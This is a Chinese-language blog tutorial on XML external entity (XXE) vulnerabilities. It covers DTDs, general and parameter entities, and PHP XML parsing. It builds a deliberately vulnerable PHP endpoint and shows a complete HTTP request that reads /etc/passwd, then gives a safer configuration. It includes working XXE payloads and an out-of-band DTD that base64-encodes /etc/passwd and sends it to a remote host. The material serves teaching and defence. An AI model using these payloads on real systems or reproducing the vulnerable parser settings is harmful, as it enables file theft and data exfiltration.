xxe漏洞手法总结

基础知识

学习一个漏洞肯定是要先掌握其基础知识

初始xml

xml是一种语言,有自己的语法规则,下面就要开始讲解其语言的规则和特点

xml 的主要作用是传输数据

我们熟知的html的作用是显示数据

下面这个就是xml语法的基本结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE 根元素 [
<!ELEMENT 根元素 (子元素1, 子元素2, 子元素3, 子元素4)>
<!ELEMENT 子元素1 (#PCDATA)>
<!ELEMENT 子元素2 (#PCDATA)>
<!ELEMENT 子元素3 (#PCDATA)>
<!ELEMENT 子元素4 (#PCDATA)>
]>
<!--文档元素-->
<根元素>
<子元素1>内容1</子元素1>
<子元素2>内容2</子元素2>
<子元素3>内容3</子元素3>
<子元素4>内容4</子元素4>
</根元素>

大致可以了解为了这么几部分内容

  • xml版本声明
  • doctype
  • element
  • 根元素,子元素

初始dtd

dtd是什么

dtd是一个规则,一个要求

感觉是不是理解起来很难受

说简单一点在上面那个xml模板中dtd就是以下这部分的内容

1
2
3
4
5
6
7
8
9
10
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE 根元素 [
<!ELEMENT 根元素 (子元素1, 子元素2, 子元素3, 子元素4)>
<!ELEMENT 子元素1 (#PCDATA)>
<!ELEMENT 子元素2 (#PCDATA)>
<!ELEMENT 子元素3 (#PCDATA)>
<!ELEMENT 子元素4 (#PCDATA)>
]>

可以知道dtd相当于声明了根元素和子元素

所以说dtd与xml的关系就是被包含的关系,完整的xml语句中包含了完整的dtd

内部声明实体的时候

这里我使用了一个小字标注了内部声明实体的时候这里可能又会懵了,什么是内部声明,什么是实体

在详细的讲之前可以先说明一下

实际上我们主要要学习三种dtd格式
1.内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>
2.引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">
3.内外部DTD文档结合:

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

对于详细的各种类别的声明以及实体的解释,见后续内容

初始dtd声明

前面讲了声明有三种形式

但是对于利用xxe漏洞来说只需要理解两种即可

  • 内部声明
  • 外部声明

内部dtd声明

内部声明的样子如下:

1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

root就是根元素,xxe就是实体,可以看到该实体的值是file:///etc/passwd

所以说内部dtd声明就是自己定义dtd,然后使用

外部dtd声明

外部声明的样子如下:

1
<!DOCTYPE root SYSTEM "http://evil.com/1.dtd">

这里就可以看到就没有实体了,这里引用的是evil.com里面的1.dtd在这个dtd里面有实体

该例子是外部dtd引用,不是外部实体声明

初始实体

前面讲了这么多的实体来实体去的,到底什么是实体

实体是xml里面的一个变量,一个快捷方式

变量很好理解,就是定义值。快捷方式就是可以重复使用这个变量

首先看看怎么定义实体呢

1
<!ENTITY 实体名 "实体的值">

通过这个可以知道entity就是定义实体的写法

在 XML 的世界里,凡是带有 <! 开头的内容,都是给解析器下达的指令

好了讲了什么是实体之后,要开始讲实体有哪些类型和怎么使用实体了

在xml 里面一共有四种实体

内置实体,字符实体,通用实体,参数实体

学习利用漏洞只需要学习两种实体

  • 通用实体
  • 参数实体

通用实体

对于通用实体

请看下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8"?>
<!-- 内部DTD:声明通用实体 -->
<!DOCTYPE 产品信息 [
<!-- 声明2个通用实体,存储重复使用的文本 -->
<!ENTITY 品牌名称 "XX科技有限公司">
<!ENTITY 售后服务 "全国联保,质保3年,7天无理由退换">

<!-- 元素声明(仅为了XML结构合法,和实体无关) -->
<!ELEMENT 产品信息 (产品+)>
<!ELEMENT 产品 (名称, 品牌, 售后)>
<!ELEMENT 名称 (#PCDATA)>
<!ELEMENT 品牌 (#PCDATA)>
<!ELEMENT 售后 (#PCDATA)>
]>

<!-- XML文档内:引用通用实体 -->
<产品信息>
<产品>
<名称>智能手机X1</名称>
<品牌>&品牌名称;</品牌> <!-- 引用通用实体 -->
<售后>&售后服务;</售后> <!-- 引用通用实体 -->
</产品>
<产品>
<名称>平板电脑Y2</名称>
<品牌>&品牌名称;</品牌> <!-- 复用同一实体,无需重复编写 -->
<售后>&售后服务;</售后> <!-- 复用同一实体,方便统一修改 -->
</产品>
</产品信息>

通过注释我们可以知道在这个xml语句中定义了两个实体(变量)品牌名称和售后服务,后面使用这个实体(变量)是这样使用的&品牌名称;和&售后服务;

所以

解析出来的结果如下

1
2
3
4
5
6
7
8
9
10
<产品>
<名称>智能手机X1</名称>
<品牌>XX科技有限公司</品牌>
<售后>全国联保,质保3年,7天无理由退换</售后>
</产品>
<产品>
<名称>平板电脑Y2</名称>
<品牌>XX科技有限公司</品牌>
<售后>全国联保,质保3年,7天无理由退换</售后>
</产品>

由上可以得到使用的方法

  • 声明:<!ENTITY 实体名 "实体值">(不带%,在 DTD 内声明)
  • 引用:&实体名;(必须以&开头、;结尾)
  • 使用范围:DTD 内声明,XML 文档内引用(也可在 DTD 内引用,但极少用)
  • 核心用途:复用 XML 文档中的重复文本内容,减少冗余编写,方便统一修改

参数实体

接下来就是参数实体了

为什么会存在参数实体

在面对大型的xml语句中通常会定义很多元素,然后元素里面会有很多子元素

有了参数实体的存在可以便于重复的编写元素与元素之间包裹关系,便于dtd的编写

可以看到下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 公司人事档案 [
<!-- 第一步:定义一个“公共字段模板”(参数实体) -->
<!-- 意思:只要是公司的人,都必须有姓名、工号、身份证号 -->
<!ENTITY % 公共字段 "(姓名, 工号, 身份证号)">

<!-- 第二步:引用模板,定义不同类型员工的差异 -->

<!-- 1. 正式员工 = 公共字段 + 额外的“转正日期” -->
<!ELEMENT 正式员工 (%公共字段;, 转正日期)>

<!-- 2. 实习生 = 公共字段 + 额外的“实习期限” -->
<!ELEMENT 实习生 (%公共字段;, 实习期限)>

<!-- 3. 外包员工 = 公共字段(没有额外字段,只用模板里的) -->
<!ELEMENT 外包员工 %公共字段;>

<!-- 第三步:具体定义这些字段是什么类型(都是纯文本) -->
<!ELEMENT 姓名 (#PCDATA)>
<!ELEMENT 工号 (#PCDATA)>
<!ELEMENT 身份证号 (#PCDATA)>
<!ELEMENT 转正日期 (#PCDATA)>
<!ELEMENT 实习期限 (#PCDATA)>
]>

<!-- 这是符合上面 DTD 规则的 XML 数据(一份公司的花名册) -->
<公司人事档案>
<正式员工>
<姓名>李经理</姓名>
<工号>001</工号>
<身份证号>110101199001011234</身份证号>
<转正日期>2024-01-01</转正日期>
</正式员工>

<实习生>
<姓名>小王</姓名>
<工号>101</工号>
<身份证号>440101200501015678</身份证号>
<实习期限>6个月</实习期限>
</实习生>

<外包员工>
<姓名>老张</姓名>
<工号>201</工号>
<身份证号>320101198512013456</身份证号>
</外包员工>
</公司人事档案>

通过这个例子就很好理解了公共字段实体定义了三个子元素,姓名,工号,身份证号,这三个子元素被包裹在了正式员工,实习生,外包员工这三个元素里面

参数实体的特点是由%来定义

实体声明

在前面初始声明的时候就有接触过了实体的声明形式

在这里就要具体讲讲使用方法了

主要讲解的是有四种

  • 内部实体声明
  • 外部实体声明
  • 参数实体声明
  • 引用公共实体

内部实体声明

这个是最好理解的

这里可以编写一个简单的xml看看效果

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

有一些东西是需要注意的

一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号

所以说可以看到网站限制了只能内部实体声明的话,是没有xxe漏洞的

外部实体声明

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议

1
<!ENTITY 实体名称 SYSTEM “URI/URL”>

外部实体支持很多的协议,如下

img

使用的方法无非就是在定义实体的时候使用的是伪协议请求资源

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE methodcall [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

所以说能外部实体声明是xxe漏洞利用的基本

参数实体声明

我们常常使用参数实体来进行外部dtd引用

一般的格式如下

1
<!ENTITY % 实体名称 SYSTEM “URI”>

可以见下面的这个使用方法

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%xxe;
]>
<!-- 引用远程DTD中定义的evil实体 -->
<foo>&evil;</foo>

然后evil.dtd的文件内容如下

1
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

可以看到引用完了之后是可以直接使用外部dtd里面的通用实体的

前面我有讲一句话

我们常常使用参数实体来进行外部dtd引用

为什么常常使用的是参数实体来进行外部dtd引用呢,为什么通用实体在xxe的漏洞利用过程中不能进行dtd的外部引用呢

下面有两句话需要严格牢记

  • 参数实体% xxx 只能在dtd内部使用,不能在xml正文的子元素标签里面使用
  • 通用实体& xxx 只能在xml正文里面使用,不能在dtd内部使用

这两句话看起来是很绕的

请见下面的这个例子

看到下面的这个payload

1
2
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://192.168.10.5:8000/1.dtd">]>
<_123><admin>&ben;</admin><password></password></_123>

然后1.dtd的文件内容如下

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.10.5:8000/?data=%file;'>">
%eval;
%exfil;

按照正常的逻辑是不是下面这个流程

定义好ben的变量,引用外部的1.dtd

然后使用1.dtd,在1.dtd里面解析%eval读取文件,然后解析%exfil发送文件的内容

流程按道理来说是这样的,但是为什么不能这样呢?

因为ben是一个通用实体,他解析的内容是会放到xml正文里面的,于是就会出现一个现象,1.dtd文件的内容是放到标签里面的,这样的话是不能解析成为xml语句从而使用1.dtd的,只会把这个当做文本来看待

引用公共实体

1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

私有外部实体:用 SYSTEM 关键字,引用的是「个人 / 项目私有」的资源(比如你自己本地的 ./info.txt、自己服务器的 http://your.com/data.dtd),只有你或你的项目能访问复用。

公共外部实体:用 PUBLIC 关键字,引用的是「公开标准化」的资源(比如 W3C 制定的通用实体、行业统一规范的实体资源),所有人都可以通过标准标识引用

使用php解析xml语句

在前面xml的语法已经学习的差不多了,现在开始看如何使用php写一个可以解析xml语句的代码

simplexml_load_file()

首先我们先编写一个简单的xml文件

1
2
3
4
5
6
7
8
<root>
<man>
<name>yyy</name>
<age>20</age>
</man>
<name>sss</name>
<age>19</age>
</root>

image-20260727221003044

写上这个内容放到目录里面

开始编写php代码解析这个xml

1
2
3
4
<?php
$xml = simplexml_load_file("mem.xml");
print_r($xml);
?>

对于simplexml_load_file这个函数的意思是

它读取一个 XML 文件,把它解析成一个 PHP 对象(SimpleXMLElement),让你可以像操作对象属性一样轻松访问 XML 中的数据

访问这个php代码

image-20260727221101106

1
SimpleXMLElement Object ( [man] => Array ( [0] => SimpleXMLElement Object ( [name] => yyy [age] => 20 ) [1] => SimpleXMLElement Object ( [name] => sss [age] => 19 ) ) )

整理一下是下面这个样子

1
2
3
4
5
6
7
8
9
10
11
SimpleXMLElement Object

└── [man] => Array

├── [0] => SimpleXMLElement Object
│ ├── [name] => yyy
│ └── [age] => 20

└── [1] => SimpleXMLElement Object
├── [name] => sss
└── [age] => 19

仔细看看也是很好理解的

可以看到的是成功转化为了对象,然后man很显然是一个数组

既然像数组于是我们就可以调用数据

1
2
3
4
5
6
<?php
$xml = simplexml_load_file("mem.xml");
//print_r($xml);
echo $xml->man[0]-> name;
echo $xml->man[1]-> name;
?>

输出的是yyysss

simplexml_load_file()函数吧XML文档载入对象中

$xml是一个Object对象

DOMDocument

首先看到这个代码

1
2
3
4
5
6
<?php
$xml = include("mem.xml");
$doc = new DOMDocument();
$doc->loadXML($xml);
print_r($doc->saveXML());
?>

解释这个代码

首先是加载xml文件,加载有两种方式,一个是使用加载文件的函数比如是使用include,第二个是使用DOMDocument类自带的方法load(),如下就是使用load()方法

1
2
3
4
5
6
7
<?php
// $xml = include("mem.xml");
$doc = new DOMDocument();
$doc->load("mem.xml"); // ✅ 直接加载文件
$doc->loadXML($xml);
print_r($doc->saveXML());
?>

加载好了之后

创建一个 DOMDocument 对象(实例化)

你可以把 DOMDocument 想象成一个”XML 处理器”:

它能把 XML 字符串解析成一棵树形结构

可以遍历、修改、删除、添加节点

可以把树形结构再转回 XML 字符串

然后就是这个语句$doc->loadXML($xml);

这个语句是可以将xml语句加载到DOMDocument对象中进行解析

然后saveXML() 把 DOMDocument 内部的树形结构转换回 XML 字符串

最后输出

讲到了这里就可以回到一个根本的问题,为什么要使用xml了

在实际的业务当中有一下业务场景是需要使用xml的

业务一:两家公司要相互交流业务,发送文件,但是两家公司功能开发的代码语言是不一样的,但是代码都能识别xml语句,于是就通过xml语句来传输数据

业务二:很简单,就是文档解析的功能点

业务三:开放平台与第三方API,在使用平台的api的时候也可能会使用xml语句来作为传输语言

手动写一个xml漏洞

来点实际的尝试手写一个xml漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
if(isset($xml)){
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$benben = $creds->admin;
echo $benben;
}
highlight_file(__FILE__);
?>

来看看这个代码是什么意思

libxml_disable_entity_loader(false);这个的意思是关闭防御:允许加载外部实体

$xml = file_get_contents('php://input');没有过滤的存储用户输入的值,作为文件的内容

接下里就是进行xml解析的部分了

前面已经讲过loadXML函数的简单实用方法了,然后这里还多另一个参数LIBXML_NOENT | LIBXML_DTDLOAD

LIBXML_DTDLOAD看这个名字大概就可以猜出来这个参数的意思是啥了,其作用是允许解析器去加载和处理 DTD(文档类型定义)。 无论是内部的还是外部的 DTD,都允许解析,如果没有这个选项解析器会直接忽略<!DOCTYPE...>

LIBXML_NOENT其含义是将实体引用(&xxe;)替换成它实际代表的内容,怎么理解呢?就是使用&xxe这个变量的内容,如果没有这个参数的话&xxe; 被当作普通文本,不会被替换

这里有一个关系图可以看看

image-20260727223806885

总结一下

1
2
LIBXML_DTDLOAD	"允许读取 DTD 中的外部资源"(给攻击者打开门)
LIBXML_NOENT "允许把 &实体; 替换成实际内容"(帮攻击者把文件内容塞进去)

然后这个代码还有一种重要的

$benben = $creds->admin;可以看到这里echo的只有使用admin子元素包裹的内容,所以我们的payload只能写到admin子元素里面

漏洞利用的数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /xxe01/xxe01/class06.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/xml;charset=utf-8
Content-Length: 98

<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>
<_123><admin>
&ben;
</admin></_123>

对于这个数据包有一个是需要注意的需要注意一下content-type 的值是不是Content-Type: application/xml;charset=utf-8

看看这个payload

1
2
3
4
<!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>
<_123><admin>
&ben;
</admin></_123>

root是文档命名,随便取名
_123是根元素,也是随便命名

这些命名是有一定的规则的

1
2
3
4
5
✅ 可以包含	字母(a-z, A-Z)、数字(0-9)、下划线(_)、连字符(-)、点(.)	admin、user_1、my-data
✅ 必须以 字母或下划线(_) 开头 admin ✅、_123 ✅
❌ 不能以 数字开头 123 ❌、1admin
❌ 不能包含 空格、标点符号(除了 -、.、_)、特殊字符 my data ❌、user@name
❌ 不能是 XML 保留字(如 xml 开头的名字) xml ❌、XmlTag

现在已经知道了有漏洞的代码的写法了,那么安全的写法是什么呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
libxml_disable_entity_loader(true);
$xml = file_get_contents('php://input');
if(isset($xml)){
$dom = new DOMDocument();
$dom->loadXML($xml);
$creds = simplexml_import_dom($dom);
$benben = $creds->admin;
echo $benben;
}
highlight_file(__FILE__);
?>

一些其他的安全写法见下

image-20260727224437308


https://exploreio.github.io/2026/07/25/xxe/
作者
ExploreIO
发布于
2026年7月25日
许可协议